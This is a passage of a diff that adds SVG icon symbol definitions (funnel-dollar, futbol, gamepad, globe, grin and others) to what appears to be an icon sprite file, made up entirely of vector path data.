61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="funnel-dollar" viewBox="0 0 640 512"> + <path d="M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z"></path> + </symbol> + <symbol id="futbol" viewBox="0 0 512 512"> + <path d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z"></path> + </symbol> + <symbol id="gamepad" viewBox="0 0 640 512"> + <path d="M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z"></path> + </symbol> + <symbol id="gas-pump" viewBox="0 0 512 512"> + <path d="M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z"></path> + </symbol> + <symbol id="gavel" viewBox="0 0 512 512"> + <path d="M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z"></path> + </symbol> + <symbol id="gem" viewBox="0 0 576 512"> + <path d="M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z"></path> + </symbol> + <symbol id="genderless" viewBox="0 0 288 512"> + <path d="M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z"></path> + </symbol> + <symbol id="ghost" viewBox="0 0 384 512"> + <path d="M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="gift" viewBox="0 0 512 512"> + <path d="M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z"></path> + </symbol> + <symbol id="gifts" viewBox="0 0 640 512"> + <path d="M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z"></path> + </symbol> + <symbol id="glass-cheers" viewBox="0 0 640 512"> + <path d="M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z"></path> + </symbol> + <symbol id="glass-martini" viewBox="0 0 512 512"> + <path d="M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z"></path> + </symbol> + <symbol id="glass-martini-alt" viewBox="0 0 512 512"> + <path d="M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z"></path> + </symbol> + <symbol id="glass-whiskey" viewBox="0 0 512 512"> + <path d="M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z"></path> + </symbol> + <symbol id="glasses" viewBox="0 0 576 512"> + <path d="M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z"></path> + </symbol> + <symbol id="globe" viewBox="0 0 496 512"> + <path d="M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z"></path> + </symbol> + <symbol id="globe-africa" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z"></path> + </symbol> + <symbol id="globe-americas" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z"></path> + </symbol> + <symbol id="globe-asia" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 240.23c-2.89 4.82-8.1 7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z"></path> + </symbol> + <symbol id="globe-europe" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z"></path> + </symbol> + <symbol id="golf-ball" viewBox="0 0 416 512"> + <path d="M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z"></path> + </symbol> + <symbol id="gopuram" viewBox="0 0 512 512"> + <path d="M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z"></path> + </symbol> + <symbol id="graduation-cap" viewBox="0 0 640 512"> + <path d="M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z"></path> + </symbol> + <symbol id="greater-than" viewBox="0 0 384 512"> + <path d="M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z"></path> + </symbol> + <symbol id="greater-than-equal" viewBox="0 0 448 512"> + <path d="M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"></path> + </symbol> + <symbol id="grimace" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z"></path> + </symbol> + <symbol id="grin" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"></path> + </symbol> + <symbol id="grin-alt" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"></path> + </symbol> + <symbol id="grin-beam" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 